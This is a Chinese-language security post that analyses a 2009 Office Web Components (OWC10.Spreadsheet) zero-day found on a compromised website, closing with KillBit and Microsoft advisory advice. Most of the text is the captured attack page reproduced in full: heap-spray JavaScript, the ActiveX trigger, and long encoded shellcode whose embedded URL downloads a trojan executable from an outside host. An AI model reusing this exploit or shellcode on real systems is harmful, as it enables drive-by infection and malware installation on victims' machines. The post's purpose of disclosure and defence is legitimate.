此漏洞为OFFICE 0day （OWC 10 和OWC11），
发现日期:2009-7-13 |
| 被挂马网站: fdsdffdfsf.cn |
| 挂马页: hxxp://www.fdsdffdfsf.cn/of.htm |
| 漏洞名: OWC10.Spreadsheet msDataSourceObject Method Stack Overflow Exploit |
| CLSID: 0002E551-0000-0000-C000-000000000046 |
| 软件: Microsoft Office Web Components (OWC10.Spreadsheet) |
| 版本: Microsoft Office Web Components 10 |
article is from
http://safelab.spaces.live.com information provided by aarwwefdds
<script src="a.js"></script>
<script language="JavaScript">
var c=s+u; // s+u=完整的shellcode
var array = new Array();
var ls = 0x81000-(c.length*2);
var b = pingfan("%u0b0c%u0b0C");
while(b.length<ls/2){b+=b;}
var lh = b.substring(0,ls/2); //一堆堆的%u0b0c%u0b0c%u0b0c..
delete b;
for(i=0;i<0x99*2;i++) {array
= lh + lh + c;} //生成shellcode
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet"); //创建activex对象
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){try{obj.Evaluate(e);}catch(e){}}}
window.status=e[3] +'';
for(j=0;j<10;j++){try{obj.msDataSourceObject(e[3]);} catch(e) {}} //应该在这儿了
</script>
=======
a.js的内容：
var pingfan=unescape;
var s=pingfan("%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8");
s+=pingfan("%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800");
s+=pingfan("%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010");
s+=pingfan("%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358");
s+=pingfan("%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05");
s+=pingfan("%uC3E0%uACE9%u0004%u5B00%uEC81%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22");
s+=pingfan("%u42C7%u6308%u646D%u3E20%u42C7%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003");
s+=pingfan("%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088");
s+=pingfan("%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0");
s+=pingfan("%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00");
s+=pingfan("%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190");
s+=pingfan("%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF");
s+=pingfan("%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57");
s+=pingfan("%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255");
s+=pingfan("%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF");
s+=pingfan("%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246");
s+=pingfan("%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF");
s+=pingfan("%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000");
s+=pingfan("%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF");
s+=pingfan("%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000");
s+=pingfan("%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA");
s+=pingfan("%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB");
s+=pingfan("%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867");
s+=pingfan("%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3");
s+=pingfan("%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001");
s+=pingfan("%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56");
s+=pingfan("%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7");
s+=pingfan("%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300");
s+=pingfan("%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E");
s+=pingfan("%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000");
s+=pingfan("%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4");
s+=pingfan("%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000");
s+=pingfan("%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9");
s+=pingfan("%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057");
s+=pingfan("%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850");
s+=pingfan("%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4");
s+=pingfan("%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B");
s+=pingfan("%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B");
s+=pingfan("%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC");
s+=pingfan("%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03");
s+=pingfan("%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF");
var u=pingfan("%u7468%u7074%u2F3A%u772F%u7777%u662E%u6164%u6673%u6461%u2E66%u6E63%u6E2F%u7765%u652E%u6578%u0000");
可知是想下载hxxp://www.fdasfadf.cn/new.exe (Trojan.Downloader)
请为此组件设置KillBit防范漏洞。
微软关于此漏洞安全公告：
http://www.microsoft.com/technet/security/advisory/973472.mspx用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 
